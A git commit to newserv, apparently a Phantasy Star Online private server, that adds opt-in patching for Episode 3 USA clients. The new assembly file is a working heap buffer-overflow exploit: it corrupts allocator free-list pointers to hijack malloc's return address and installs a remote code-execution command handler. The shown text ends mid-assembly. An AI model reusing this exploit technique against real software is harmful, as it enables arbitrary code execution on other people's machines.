add Ep3 USA patch function

This commit is contained in:
Martin Michelsen
2022-10-31 16:33:56 -07:00
parent ed81599cc9
commit 0a1eb5f0d7
16 changed files with 564 additions and 111 deletions
+1
View File
@@ -64,6 +64,7 @@ Client::Client(
can_chat(true),
pending_bb_save_player_index(0),
proxy_block_events(false),
proxy_block_function_calls(false),
proxy_save_files(false),
proxy_suppress_remote_login(false),
proxy_zero_remote_guild_card(false),
+19 -15
View File
@@ -33,40 +33,43 @@ struct Client {
// Note that this flag is NOT set for Episode 3 Trial Edition clients, since
// that version is similar enough to the release version of Episode 3 that
// newserv does not have to change its behavior at all.
IS_TRIAL_EDITION = 0x2000,
IS_TRIAL_EDITION = 0x2000,
// Client is DC v1
IS_DC_V1 = 0x0010,
IS_DC_V1 = 0x0010,
// For patch server clients, client is Blue Burst rather than PC
IS_BB_PATCH = 0x0001,
IS_BB_PATCH = 0x0001,
// After joining a lobby, client will no longer send D6 commands when they
// close message boxes
NO_D6_AFTER_LOBBY = 0x0002,
NO_D6_AFTER_LOBBY = 0x0002,
// Client has the above flag and has already joined a lobby, or is not GC
NO_D6 = 0x0004,
NO_D6 = 0x0004,
// Client is Episode 3, should be able to see CARD lobbies, and should only
// be able to see/join games with the EPISODE_3_ONLY flag
IS_EPISODE_3 = 0x0008,
IS_EPISODE_3 = 0x0008,
// Client disconnects if it receives B2 (send_function_call)
NO_SEND_FUNCTION_CALL = 0x0200,
NO_SEND_FUNCTION_CALL = 0x0200,
// Client requires doubly-encrypted code section in send_function_call
ENCRYPTED_SEND_FUNCTION_CALL = 0x0800,
ENCRYPTED_SEND_FUNCTION_CALL = 0x0800,
// Client supports send_function_call but does not actually run the code
SEND_FUNCTION_CALL_CHECKSUM_ONLY = 0x1000,
SEND_FUNCTION_CALL_CHECKSUM_ONLY = 0x1000,
// Client is vulnerable to a buffer overflow that we can use to enable
// send_function_call
USE_OVERFLOW_FOR_SEND_FUNCTION_CALL = 0x8000,
// Client is loading into a game
LOADING = 0x0020,
LOADING = 0x0020,
// Client is loading a quest
LOADING_QUEST = 0x0040,
LOADING_QUEST = 0x0040,
// Client is in the information menu (login server only)
IN_INFORMATION_MENU = 0x0080,
IN_INFORMATION_MENU = 0x0080,
// Client is at the welcome message (login server only)
AT_WELCOME_MESSAGE = 0x0100,
AT_WELCOME_MESSAGE = 0x0100,
// Client has already received a 97 (enable saves) command, so don't show
// the programs menu anymore
SAVE_ENABLED = 0x0400,
SAVE_ENABLED = 0x0400,
// Client has received newserv's Episode 3 card definitions, so don't send
// them again
HAS_EP3_CARD_DEFS = 0x4000,
HAS_EP3_CARD_DEFS = 0x4000,
};
uint64_t id;
@@ -121,6 +124,7 @@ struct Client {
uint8_t pending_bb_save_player_index;
bool proxy_block_events;
bool proxy_block_function_calls;
bool proxy_save_files;
bool proxy_suppress_remote_login;
bool proxy_zero_remote_guild_card;
+2 -1
View File
@@ -1513,7 +1513,8 @@ struct C_Register_BB_9C {
struct C_Login_DC_PC_GC_9D {
le_uint32_t player_tag; // 0x00010000 if guild card is set (via 04)
le_uint32_t guild_card_number; // 0xFFFFFFFF if not set
le_uint64_t unused;
le_uint32_t unused1;
le_uint32_t unused2;
le_uint32_t sub_version;
uint8_t is_extended; // If 1, structure has extended format
uint8_t language; // 0 = JP, 1 = EN, 2 = DE, 3 = FR, 4 = ES
+6
View File
@@ -141,6 +141,12 @@ void populate_state_from_config(shared_ptr<ServerState> s,
s->item_tracking_enabled = true;
}
try {
s->episode_3_send_function_call_enabled = d.at("EnableEpisode3SendFunctionCall")->as_bool();
} catch (const out_of_range&) {
s->episode_3_send_function_call_enabled = false;
}
shared_ptr<JSONObject> log_levels_json;
try {
log_levels_json = d.at("LogLevels");
+4 -3
View File
@@ -59,9 +59,10 @@ namespace ProxyOptionsMenuItemID {
constexpr uint32_t INFINITE_TP = 0xAA2222AA;
constexpr uint32_t SWITCH_ASSIST = 0xAA3333AA;
constexpr uint32_t BLOCK_EVENTS = 0xAA4444AA;
constexpr uint32_t SAVE_FILES = 0xAA5555AA;
constexpr uint32_t SUPPRESS_LOGIN = 0xAA6666AA;
constexpr uint32_t SKIP_CARD = 0xAA7777AA;
constexpr uint32_t BLOCK_PATCHES = 0xAA5555AA;
constexpr uint32_t SAVE_FILES = 0xAA6666AA;
constexpr uint32_t SUPPRESS_LOGIN = 0xAA7777AA;
constexpr uint32_t SKIP_CARD = 0xAA8888AA;
}
+55 -45
View File
@@ -172,7 +172,8 @@ static HandlerResult S_G_9A(shared_ptr<ServerState>,
cmd.player_tag = 0x00010000;
cmd.guild_card_number = session.remote_guild_card_number;
}
cmd.unused = 0;
cmd.unused1 = 0;
cmd.unused2 = 0;
cmd.sub_version = session.sub_version;
cmd.is_extended = (session.remote_guild_card_number < 0) ? 0 : 1;
cmd.language = session.language;
@@ -322,7 +323,8 @@ static HandlerResult S_V123P_02_17(
cmd.player_tag = 0x00010000;
cmd.guild_card_number = session.remote_guild_card_number;
}
cmd.unused = 0;
cmd.unused1 = 0;
cmd.unused2 = 0;
cmd.sub_version = session.sub_version;
cmd.is_extended = 0;
cmd.language = session.language;
@@ -371,7 +373,8 @@ static HandlerResult S_V123P_02_17(
C_LoginExtended_GC_9E cmd;
cmd.player_tag = 0x00010000;
cmd.guild_card_number = guild_card_number;
cmd.unused = 0;
cmd.unused1 = 0;
cmd.unused2 = 0;
cmd.sub_version = session.sub_version;
cmd.is_extended = 0;
cmd.language = session.language;
@@ -936,14 +939,14 @@ static HandlerResult S_6x(shared_ptr<ServerState>,
template <typename T>
static HandlerResult S_44_A6(shared_ptr<ServerState>,
ProxyServer::LinkedSession& session, uint16_t command, uint32_t, string& data) {
if (session.save_files) {
const auto& cmd = check_size_t<S_OpenFile_PC_V3_44_A6>(data);
bool is_download_quest = (command == 0xA6);
const auto& cmd = check_size_t<S_OpenFile_PC_V3_44_A6>(data);
string filename = cmd.filename;
string output_filename = string_printf("%s.%s.%" PRIu64,
string filename = cmd.filename;
string output_filename;
if (session.save_files) {
output_filename = string_printf("%s.%s.%" PRIu64,
filename.c_str(),
is_download_quest ? "download" : "online", now());
(command == 0xA6) ? "download" : "online", now());
for (size_t x = 0; x < output_filename.size(); x++) {
if (output_filename[x] < 0x20 || output_filename[x] > 0x7E || output_filename[x] == '/') {
output_filename[x] = '_';
@@ -952,12 +955,17 @@ static HandlerResult S_44_A6(shared_ptr<ServerState>,
if (output_filename[0] == '.') {
output_filename[0] = '_';
}
ProxyServer::LinkedSession::SavingFile sf(
cmd.filename, output_filename, cmd.file_size);
session.saving_files.emplace(cmd.filename, move(sf));
session.log.info("Opened file %s", output_filename.c_str());
}
ProxyServer::LinkedSession::SavingFile sf(
cmd.filename, output_filename, cmd.file_size);
session.saving_files.emplace(cmd.filename, move(sf));
if (session.save_files) {
session.log.info("Opened file %s", output_filename.c_str());
} else {
session.log.info("Tracking file %s", filename.c_str());
}
return HandlerResult::Type::FORWARD;
}
@@ -967,39 +975,41 @@ constexpr on_command_t S_B_44_A6 = &S_44_A6<S_OpenFile_BB_44_A6>;
static HandlerResult S_13_A7(shared_ptr<ServerState>,
ProxyServer::LinkedSession& session, uint16_t, uint32_t, string& data) {
if (session.save_files) {
const auto& cmd = check_size_t<S_WriteFile_13_A7>(data);
auto& cmd = check_size_t<S_WriteFile_13_A7>(data);
bool modified = false;
ProxyServer::LinkedSession::SavingFile* sf = nullptr;
try {
sf = &session.saving_files.at(cmd.filename);
} catch (const out_of_range&) {
string filename = cmd.filename;
session.log.warning("Received data for non-open file %s", filename.c_str());
return HandlerResult::Type::FORWARD;
}
size_t bytes_to_write = cmd.data_size;
if (bytes_to_write > 0x400) {
session.log.warning("Chunk data size is invalid; truncating to 0x400");
bytes_to_write = 0x400;
}
session.log.info("Writing %zu bytes to %s", bytes_to_write, sf->output_filename.c_str());
fwritex(sf->f.get(), cmd.data, bytes_to_write);
if (bytes_to_write > sf->remaining_bytes) {
session.log.warning("Chunk size extends beyond original file size; file may be truncated");
sf->remaining_bytes = 0;
} else {
sf->remaining_bytes -= bytes_to_write;
}
if (sf->remaining_bytes == 0) {
session.log.info("File %s is complete", sf->output_filename.c_str());
session.saving_files.erase(cmd.filename);
}
ProxyServer::LinkedSession::SavingFile* sf = nullptr;
try {
sf = &session.saving_files.at(cmd.filename);
} catch (const out_of_range&) {
string filename = cmd.filename;
session.log.warning("Received data for non-open file %s", filename.c_str());
return HandlerResult::Type::FORWARD;
}
return HandlerResult::Type::FORWARD;
if (cmd.data_size > sf->remaining_bytes) {
session.log.warning("Chunk size extends beyond original file size; truncating file");
cmd.data_size = sf->remaining_bytes;
modified = true;
} else if (cmd.data_size > 0x400) {
session.log.warning("Chunk data size is invalid; truncating to 0x400");
cmd.data_size = 0x400;
modified = true;
}
if (sf->f.get()) {
session.log.info("Writing %" PRIu32 " bytes to %s",
cmd.data_size.load(), sf->output_filename.c_str());
fwritex(sf->f.get(), cmd.data, cmd.data_size);
}
sf->remaining_bytes -= cmd.data_size;
if (sf->remaining_bytes == 0) {
session.log.info("Closing file %s", sf->output_filename.c_str());
session.saving_files.erase(cmd.filename);
}
return modified ? HandlerResult::Type::MODIFIED : HandlerResult::Type::FORWARD;
}
static HandlerResult S_G_B7(shared_ptr<ServerState>,
+5 -2
View File
@@ -626,8 +626,11 @@ ProxyServer::LinkedSession::SavingFile::SavingFile(
uint32_t remaining_bytes)
: basename(basename),
output_filename(output_filename),
remaining_bytes(remaining_bytes),
f(fopen_unique(this->output_filename, "wb")) { }
remaining_bytes(remaining_bytes) {
if (!this->output_filename.empty()) {
this->f = fopen_unique(this->output_filename, "wb");
}
}
+3 -3
View File
@@ -659,9 +659,9 @@ string Quest::decode_gci(
} else if (header.game_id[2] == 'S') { // Episode 3
// The first 0x10 bytes in the data segment appear to be unused. In most
// files I've seen, the last half of it (8 bytes) are duplicates of the
// first 8 bytes of the unscrambled, compressed data, though this is likely
// the result of an uninitialized memory bug when the client encodes the
// file and not an actual constraint on what should be in these 8 bytes.
// first 8 bytes of the unscrambled, compressed data, though this is the
// result of an uninitialized memory bug when the client encodes the file
// and not an actual constraint on what should be in these 8 bytes.
r.skip(16);
// The game treats this field as a 16-byte string (including the \0). The 8
// bytes after it appear to be completely unused.
+36 -3
View File
@@ -67,7 +67,8 @@ static const unordered_map<uint32_t, const char16_t*> proxy_options_menu_descrip
{ProxyOptionsMenuItemID::INFINITE_HP, u"If enabled, the proxy\nwill restore your HP\nwhen you are hit by\nan enemy or trap,\nbut cannot revive\nyou from one-hit\nkills"},
{ProxyOptionsMenuItemID::INFINITE_TP, u"If enabled, the proxy\nwill restore your TP\nwhen you cast any\ntechnique"},
{ProxyOptionsMenuItemID::SWITCH_ASSIST, u"If enabled, the proxy\nwill attempt to\nunlock 2-player\ndoors when you step\non both switches\nsequentially"},
{ProxyOptionsMenuItemID::BLOCK_EVENTS, u"If enabled, season\nevents in the lobby\nand in games are\ndisabled."},
{ProxyOptionsMenuItemID::BLOCK_EVENTS, u"If enabled, seasonal\nevents in the lobby\nand in games are\ndisabled."},
{ProxyOptionsMenuItemID::BLOCK_PATCHES, u"If enabled, patches\nsent by the remote\nserver are blocked."},
{ProxyOptionsMenuItemID::SAVE_FILES, u"If enabled, the proxy\nwill save local\ncopies of files from\nthe remote server\n(quests, etc.)"},
{ProxyOptionsMenuItemID::SUPPRESS_LOGIN, u"If enabled, the proxy\nwill use an alternate\nlogin sequence"},
{ProxyOptionsMenuItemID::SKIP_CARD, u"If enabled, the proxy\nwill use an alternate\nvalue for your initial\nGuild Card"},
@@ -91,6 +92,8 @@ static vector<MenuItem> proxy_options_menu_for_client(
}
ret.emplace_back(ProxyOptionsMenuItemID::BLOCK_EVENTS,
c->proxy_block_events ? u"Block events ON" : u"Block events OFF", u"", 0);
ret.emplace_back(ProxyOptionsMenuItemID::BLOCK_PATCHES,
c->proxy_block_function_calls ? u"Block patches ON" : u"Block patches OFF", u"", 0);
ret.emplace_back(ProxyOptionsMenuItemID::SAVE_FILES,
c->proxy_save_files ? u"Save files ON" : u"Save files OFF", u"", 0);
ret.emplace_back(ProxyOptionsMenuItemID::SUPPRESS_LOGIN,
@@ -127,6 +130,9 @@ static void send_client_to_proxy_server(shared_ptr<ServerState> s, shared_ptr<Cl
if (c->proxy_block_events) {
session->override_lobby_event = 0;
}
if (c->proxy_block_function_calls) {
session->function_call_return_value = 0xFFFFFFFF;
}
if (c->proxy_zero_remote_guild_card) {
session->remote_guild_card_number = 0;
} else {
@@ -152,6 +158,20 @@ static void send_proxy_destinations_menu(shared_ptr<ServerState> s, shared_ptr<C
} catch (const out_of_range&) { }
}
static bool send_enable_send_function_call_if_applicable(
shared_ptr<ServerState> s, shared_ptr<Client> c) {
if (c->flags & Client::Flag::USE_OVERFLOW_FOR_SEND_FUNCTION_CALL) {
if (s->episode_3_send_function_call_enabled) {
send_quest_buffer_overflow(s, c);
} else {
c->flags |= Client::Flag::NO_SEND_FUNCTION_CALL;
}
c->flags &= ~Client::Flag::USE_OVERFLOW_FOR_SEND_FUNCTION_CALL;
return true;
}
return false;
}
////////////////////////////////////////////////////////////////////////////////
@@ -210,6 +230,9 @@ void on_login_complete(shared_ptr<ServerState> s, shared_ptr<Client> c) {
(c->flags & Client::Flag::NO_D6) ||
!(c->flags & Client::Flag::AT_WELCOME_MESSAGE)) {
c->flags &= ~Client::Flag::AT_WELCOME_MESSAGE;
if (send_enable_send_function_call_if_applicable(s, c)) {
send_update_client_config(c);
}
send_menu(c, s->name.c_str(), MenuID::MAIN, s->main_menu);
} else {
send_message_box(c, s->welcome_message.c_str());
@@ -637,6 +660,13 @@ static void on_login_d_e_dc_pc_v3(shared_ptr<ServerState> s, shared_ptr<Client>
}
set_console_client_flags(c, base_cmd->sub_version);
// See system/ppc/Episode3USAQuestBufferOverflow.s for where this value gets
// set. We use this to determine if the client has already run the code or
// not; sending it again when the client has already run it will likely cause
// the client to crash.
if (base_cmd->unused1 == 0x5F5CA297) {
c->flags &= ~(Client::Flag::USE_OVERFLOW_FOR_SEND_FUNCTION_CALL | Client::Flag::NO_SEND_FUNCTION_CALL);
}
uint32_t serial_number = stoul(base_cmd->serial_number, nullptr, 16);
try {
@@ -687,7 +717,6 @@ static void on_login_d_e_dc_pc_v3(shared_ptr<ServerState> s, shared_ptr<Client>
}
send_update_client_config(c);
on_login_complete(s, c);
}
@@ -985,9 +1014,10 @@ static void on_message_box_closed(shared_ptr<ServerState> s, shared_ptr<Client>
send_menu(c, u"Information", MenuID::INFORMATION,
*s->information_menu_for_version(c->version()));
} else if (c->flags & Client::Flag::AT_WELCOME_MESSAGE) {
send_menu(c, s->name.c_str(), MenuID::MAIN, s->main_menu);
send_enable_send_function_call_if_applicable(s, c);
c->flags &= ~Client::Flag::AT_WELCOME_MESSAGE;
send_update_client_config(c);
send_menu(c, s->name.c_str(), MenuID::MAIN, s->main_menu);
}
}
@@ -1301,6 +1331,9 @@ static void on_menu_selection(shared_ptr<ServerState> s, shared_ptr<Client> c,
case ProxyOptionsMenuItemID::BLOCK_EVENTS:
c->proxy_block_events = !c->proxy_block_events;
goto resend_proxy_options_menu;
case ProxyOptionsMenuItemID::BLOCK_PATCHES:
c->proxy_block_function_calls = !c->proxy_block_function_calls;
goto resend_proxy_options_menu;
case ProxyOptionsMenuItemID::SAVE_FILES:
c->proxy_save_files = !c->proxy_save_files;
goto resend_proxy_options_menu;
+68 -39
View File
@@ -243,6 +243,74 @@ void send_update_client_config(shared_ptr<Client> c) {
template <typename CommandT>
void send_quest_open_file_t(
shared_ptr<Client> c,
const string& quest_name,
const string& filename,
uint32_t file_size,
QuestFileType type) {
CommandT cmd;
uint8_t command_num;
switch (type) {
case QuestFileType::ONLINE:
command_num = 0x44;
cmd.name = "PSO/" + quest_name;
cmd.flags = 2;
break;
case QuestFileType::GBA_DEMO:
command_num = 0xA6;
cmd.name = "GBA Demo";
cmd.flags = 2;
break;
case QuestFileType::DOWNLOAD:
command_num = 0xA6;
cmd.name = "PSO/" + quest_name;
cmd.flags = 0;
break;
case QuestFileType::EPISODE_3:
command_num = 0xA6;
cmd.name = "PSO/" + quest_name;
cmd.flags = 3;
break;
default:
throw logic_error("invalid quest file type");
}
cmd.unused.clear(0);
cmd.file_size = file_size;
cmd.filename = filename.c_str();
send_command_t(c, command_num, 0x00, cmd);
}
void send_quest_buffer_overflow(
shared_ptr<ServerState> s, shared_ptr<Client> c) {
// TODO: Figure out a way to share this state across sessions. Maybe we could
// e.g. modify send_1D to send a nonzero flag value, which we could use to
// know that the client already has this patch? Or just add another command in
// the login sequence?
// PSO Episode 3 USA doesn't natively support the B2 command, but we can add
// it back to the game with some tricky commands. For details on how this
// works, see system/ppc/Episode3USAQuestBufferOverflow.s.
auto fn = s->function_code_index->name_to_function.at("Episode3USAQuestBufferOverflow");
if (fn->code.size() > 0x400) {
throw runtime_error("Episode 3 buffer overflow code must be a single segment");
}
static const string filename = "m999999p_e.bin";
send_quest_open_file_t<S_OpenFile_PC_V3_44_A6>(
c, "BufferOverflow", filename, 0x18, QuestFileType::EPISODE_3);
S_WriteFile_13_A7 cmd;
cmd.filename = filename;
memcpy(cmd.data, fn->code.data(), fn->code.size());
if (fn->code.size() < 0x400) {
memset(&cmd.data[fn->code.size()], 0, 0x400 - fn->code.size());
}
cmd.data_size = fn->code.size();
send_command_t(c, 0xA7, 0x00, cmd);
}
void send_function_call(
shared_ptr<Client> c,
shared_ptr<CompiledFunctionCode> code,
@@ -1727,45 +1795,6 @@ void set_mask_for_ep3_game_command(void* vdata, size_t size, uint8_t mask_key) {
template <typename CommandT>
void send_quest_open_file_t(
shared_ptr<Client> c,
const string& quest_name,
const string& filename,
uint32_t file_size,
QuestFileType type) {
CommandT cmd;
uint8_t command_num;
switch (type) {
case QuestFileType::ONLINE:
command_num = 0x44;
cmd.name = "PSO/" + quest_name;
cmd.flags = 2;
break;
case QuestFileType::GBA_DEMO:
command_num = 0xA6;
cmd.name = "GBA Demo";
cmd.flags = 2;
break;
case QuestFileType::DOWNLOAD:
command_num = 0xA6;
cmd.name = "PSO/" + quest_name;
cmd.flags = 0;
break;
case QuestFileType::EPISODE_3:
command_num = 0xA6;
cmd.name = "PSO/" + quest_name;
cmd.flags = 3;
break;
default:
throw logic_error("invalid quest file type");
}
cmd.unused.clear(0);
cmd.file_size = file_size;
cmd.filename = filename.c_str();
send_command_t(c, command_num, 0x00, cmd);
}
void send_quest_file_chunk(
shared_ptr<Client> c,
const string& filename,
+2
View File
@@ -122,6 +122,8 @@ void send_server_init(
uint8_t flags);
void send_update_client_config(std::shared_ptr<Client> c);
void send_quest_buffer_overflow(
std::shared_ptr<ServerState> s, std::shared_ptr<Client> c);
void send_function_call(
std::shared_ptr<Client> c,
std::shared_ptr<CompiledFunctionCode> code,
+1
View File
@@ -22,6 +22,7 @@ ServerState::ServerState()
allow_unregistered_users(false),
allow_saving(true),
item_tracking_enabled(true),
episode_3_send_function_call_enabled(false),
run_shell_behavior(RunShellBehavior::DEFAULT), next_lobby_id(1),
pre_lobby_event(0),
ep3_menu_song(-1) {
+1
View File
@@ -49,6 +49,7 @@ struct ServerState {
bool allow_unregistered_users;
bool allow_saving;
bool item_tracking_enabled;
bool episode_3_send_function_call_enabled;
RunShellBehavior run_shell_behavior;
std::vector<std::shared_ptr<const PSOBBEncryption::KeyFile>> bb_private_keys;
std::shared_ptr<const FunctionCodeIndex> function_code_index;
+3
View File
@@ -70,6 +70,9 @@ uint16_t flags_for_version(GameVersion version, int64_t sub_version) {
Client::Flag::IS_EPISODE_3 |
Client::Flag::ENCRYPTED_SEND_FUNCTION_CALL;
case 0x41: // GC Ep3 US
return Client::Flag::NO_D6_AFTER_LOBBY |
Client::Flag::IS_EPISODE_3 |
Client::Flag::USE_OVERFLOW_FOR_SEND_FUNCTION_CALL;
case 0x43: // GC Ep3 EU
return Client::Flag::NO_D6_AFTER_LOBBY |
Client::Flag::IS_EPISODE_3 |
+6
View File
@@ -248,6 +248,12 @@
// they are at the newserv main menu. If set, this value must be an integer.
// "Episode3MenuSong": 0,
// Whether to enable patches on Episode 3 USA. This functionality depends on
// exploiting a bug in Episode 3, and while it seems to work reliably on
// Dolphin, it hasn't been tested on a real GameCube. So, newserv doesn't
// enable Episode 3 patches by default; it only does so if this option is on.
// "EnableEpisode3SendFunctionCall": true,
// By default, the server keeps track of items in all games, even for versions
// other than Blue Burst. This enables use of the $what command, as well as
// protection against item duplication cheats (the cheater is disconnected
+352
View File
@@ -0,0 +1,352 @@
# There is a buffer overflow bug in PSO Episode 3 that this program uses to
# achieve arbitrary code execution. (This bug is likely present in all versions
# of PSO, but the code here is specific to the USA version of Episode 3.) This
# is only necessary because the non-Japanese versions of Episode 3 lack the B2
# command, which is used on other console PSO versions to send patches and other
# bits of code. Here, we use a buffer overflow bug to re-implement the B2
# command, which allows the server to treat PSO Episode 3 like any other version
# of PSO with respect to patching or loading DOL files.
# For some background, PSO sends download quest files via the A6 and A7
# commands. The A6 command is used to start sending a download quest file; it
# includes the quest name, file name, and total file size. The A7 command is
# used to send a chunk of 1KB (0x400 bytes) of data, or less if it's the final
# chunk of the file. When the client receives an A6 command for a filename
# ending in .bin, it allocates a buffer of (file size + 0x48) bytes. When it
# later receives an A7 command, it copies (cmd.data_size) bytes from the command
# to position (8 + 0x100 * flag) in the buffer, then if cmd.data_size was less
# than 0x400, it marks the file as done and postprocesses it.
# However, the client neglects to check if the last chunk overflows the end of
# the buffer before copying the chunk data. In this function, we send an A6
# command with an overall file size of only 0x18 bytes, then we send a chunk of
# 0x200 or so bytes (the compiled size of the code in this file), which
# overflows past the end of the allocated buffer and overwrites part of a free
# block after the allocated buffer. The memory allocator library keeps some of
# its bookkeeping structures at the beginning of this free block, which we use
# to cause the next call to malloc() to overwrite its own return address on the
# stack. Conveniently, this call happens soon afterward, during the
# postprocessing step.
# The PSO memory allocator is a simple free-list allocator. The allocator
# maintains two linked lists of blocks: one for allocated blocks and one for
# free blocks. The list of free blocks is sorted in order of memory address, but
# the list of allocated blocks is sorted in the order they were allocated. (The
# order of the allocated block list does not matter for the allocator's
# performance or correctness.)
# Each block begins with two pointers, prev and next, which point to other
# blocks in the allocated or free list. (As with a typical doubly-linked list,
# the first block has prev == nullptr and the last block has next == nullptr;
# there is no sentinel node on either end.) After these two pointers is the
# block's size in bytes, followed by 0x14 unused bytes. The block data
# immediately follows this 0x20-byte header structure. All block sizes are
# rounded up to a multiple of 0x20 bytes.
# The malloc() routine simply searches for the first free block that has enough
# space to satisfy the request, and either splits it into an allocated and a
# free block (if the free block's size is at least 0x40 bytes more than the
# requested size), or converts the free block entirely into an allocated block
# and returns it. It is the second case that we take advantage of here.
# When we send our A7 command containing this program, the first 0x58 bytes of
# it fill the quest file data buffer. The next 0x0C bytes of it overwrite the
# header fields of the following free block (noted below in the comments), and
# the remainder of the data goes into that block's unused header fields and the
# block's data (which is also otherwise unused, since it is a free block). We
# overwrite the free block's prev and next pointers with specific nonzero values
# and overwrite the size with the exact size that the caller will request, so we
# trigger the malloc() case that does not split the free block. When that code
# attempts to remove the free block from its doubly-linked list, it writes
# block->next to block->prev->next and block->prev to block->next->prev. We set
# block->prev to the address where we want execution to jump to (the start label
# here), and block->next to the address of malloc()'s return address on the
# stack. This overwrites the return address with the start label's address, and
# overwrites the word after the start label with an address within the stack. We
# can't avoid this second write since both pointers must be non-null and the
# values and addresses written are dependent on each other, but we can just use
# a branch opcode to ignore the value that gets written into our code.
# Once we have control, we clean up the allocator state (restoring the free
# block as it was before we overwrote its header), then copy our implementation
# of the B2 command to an otherwise-unused are of memory and apply a few more
# patches. See the comments within the code below for more details.
# This entry_ptr label isn't used since this code isn't sent with the B2
# command; it just needs to be present for newserv to compile the code properly
entry_ptr:
start:
b resume1
# This is the value overwritten by malloc() when it attempts to remove the
# free block from its linked list
.data 0xAAAAAAAA
resume1:
# We can use any of the caller-save registers (r0, r3-r12) here.
# At entry time, some registers contain useful values:
# r5: Address of the allocator instance ("lists"). This structure includes the
# allocated and free list head pointers, one of which we have to update.
# r12: Address of the malloc() function that was called. Conveniently, the
# address that we should return to is very near this location in memory.
# Compute the LR we should use to return from this function, but don't put it
# in the LR just yet - we're still going to need the LR for other shenanigans
subi r11, r12, 0xB0 # 8038C1B8 - B0 = 8038C108
# Restore the free block whose header we had destroyed with the A7 command
# buffer overflow
lis r7, 0x815F
ori r7, r7, 0xF440
li r0, 0
stw [r7], r0 # free_block->prev = nullptr
stw [r7 + 4], r0 # free_block->next = nullptr
lis r6, 0x001E
ori r6, r6, 0x0960
stw [r7 + 8], r6 # free_block->size = 0x001E0960
stw [r5 + 4], r7 # lists->free_head = free_block
# Restore lists->allocated_head and clear its prev pointer
lis r6, 0x815F
ori r6, r6, 0xF3C0
stw [r5 + 8], r6 # lists->allocated_head = orig_allocated_head
stw [r6], r0 # lists->allocated_head->prev = nullptr
b resume2
# TODO: We can probably use this space for something useful. There must be
# exactly 20 opcodes (0x50 bytes) between resume1 and opaque2.
.zero
.zero
.zero
.zero
.zero
opaque2:
# This block must be exactly here (the number of opcodes above is exactly how
# many will fit in the original buffer), and the 3 words here must have
# exactly these values. This is what causes malloc to overwrite the return
# address on the stack to call this code in the first place.
.data 0x815FF3E8 # free_head->prev
.data 0x80592AC4 # free_head->next
.data 0x00000160 # free_head->size
resume2:
bl get_handle_B2_ptr
# This is the code we're going to use for the B2 command handler, which we
# will copy into an unused area of memory. It's convenient to put it here and
# use a bl opcode to get its address, so this code can be minimally position-
# dependent. Note that this part of the code does not run at the time the A7
# command is received; it will run later if the client receives a B2 command.
handle_B2:
mflr r0
stwu [r1 - 0x40], r1
stw [r1 + 0x44], r0
# Arguments:
# r3 = PSONetworkContext* ctx (we use this to call the send function)
# r4 = void* data
# Returns: void
# Stack:
# [r1+08] = B3 XX 0C 00
# [r1+0C] = code section's return value
# [r1+10] = checksum
# [r1+14] = saved ctx argument
# [r1+18] = saved data argument
# We reserved 0x40 bytes on the stack because I was lazy.
stw [r1 + 0x14], r3
stw [r1 + 0x18], r4
# Set up the reply header (B3 XX 0C 00, where XX comes from the B2 command)
lbz r5, [r4 + 1]
rlwinm r5, r5, 16, 8, 15
oris r5, r5, 0xB300
ori r5, r5, 0x0C00
stw [r1 + 0x08], r5
# If there's no code section, skip it. We also write the code section size to
# the return value field (which will be overwritten later if the size is not
# zero). This is because I'm lazy and this gives the behavior we want: the
# code return value is always zero if the code section size is zero.
li r6, 4
lwbrx r5, [r4 + r6] # r5 = code_size
stw [r1 + 0x0C], r5 # response.code_return_value = code_size
cmplwi r5, 0
beq handle_B2_skip_code
# Get the code section base and footer addresses
addi r6, r4, 0x10 # r6 = code base address
add r7, r6, r5
subi r7, r7, 0x20 # r7 = footer address (code base + code size - 0x20)
# Check if there are relocations to do
lwz r8, [r7 + 4] # r8 = num relocations
cmplwi r8, 0
beq handle_B2_skip_relocations
# Execute the relocations
mtctr r8
lwz r8, [r7] # r8 = relocations list offset
add r8, r8, r6 # r8 = relocations list address
subi r8, r8, 2 # Back up one space so we can use lhzu in the loop
mr r10, r6 # relocation pointer = code base address
handle_B2_relocate_again:
lhzu r9, [r8 + 2]
rlwinm r9, r9, 2, 0, 29 # r9 = next_relocation_offset * 4
add r10, r10, r9 # relocation pointer += next_relocation_offset * 4
lwz r9, [r10]
add r9, r9, r6
stw [r10], r9 # (*relocation pointer) += code base address
bdnz handle_B2_relocate_again
handle_B2_skip_relocations:
# Invalidate the caches appropriately for the newly-copied code
lis r0, 0x8000
ori r0, r0, 0xC324
mr r3, r6
mr r4, r5
mtctr r0
bctrl # flush_code(code_base_addr, code_section_size)
# Call the code section and put the return value (byteswapped) on the stack
# Note: flush_code only uses r3, r4, and r5, so we don't need to reload r7
# after the above call
lwz r8, [r7 + 0x10]
lwzx r8, [r8 + r6]
mtctr r8
bctrl
li r8, 0x0C
stwbrx [r1 + r8], r3
handle_B2_skip_code:
# Get the checksum function args
lwz r4, [r1 + 0x18]
li r5, 0x08
lwbrx r3, [r4 + r5] # checksum addr
li r5, 0x0C
lwbrx r4, [r4 + r5] # checksum size
lis r0, 0x8010
ori r0, r0, 0xF834
mtctr r0
bctrl # crc32(checksum_addr, checksum_size)
li r8, 0x10
stwbrx [r1 + r8], r3
# Send the response (B3 command)
lwz r3, [r1 + 0x14]
lwz r4, [r3 + 0x18]
lwz r4, [r4 + 0x28]
mtctr r4
addi r4, r1, 0x08
li r5, 0x0C
bctrl # PSONetworkContext::send_command(ctx, &reply_data, 0x0C)
# Clean up stack and return
lwz r0, [r1 + 0x44]
addi r1, r1, 0x40
mtlr r0
blr
get_handle_B2_ptr:
mflr r9 # r9 = &handle_B2
bl get_handle_B2_end_ptr
get_handle_B2_end_ptr:
mflr r10
subi r10, r10, 8 # r10 = pointer to end of handle_B2
# Copy handle_B2 to 8000BD80, which is normally unused by the game
lis r12, 0x8000
ori r12, r12, 0xBD80 # r12 = 0x8000BD80
subi r8, r12, 4 # r8 = r12 - 4 (so we can use stwu)
subi r9, r9, 4 # r9 = r9 - 4 (so we can use lwzu)
sub r7, r10, r9
rlwinm r7, r7, 30, 2, 31 # r7 = number of words to copy
mtctr r7
copy_handle_B2_word_again:
lwzu r0, [r9 + 4]
stwu [r8 + 4], r0
bdnz copy_handle_B2_word_again
# Invalidate the caches appropriately for the newly-copied code
lis r9, 0x8000
ori r9, r9, 0xC324
mtctr r9
mr r3, r12
rlwinm r4, r7, 2, 0, 29
bctrl # flush_code(copied_B2_handler, copied_B2_handler_bytes)
# Replace the command handler table entry for command 0E (which appears to be
# a legacy command - it's unused by any modern private server and was
# presumably unused by Sega too) with our copied B2 implementation
lis r5, 0x8044
ori r5, r5, 0xF684
li r0, 0x00B2
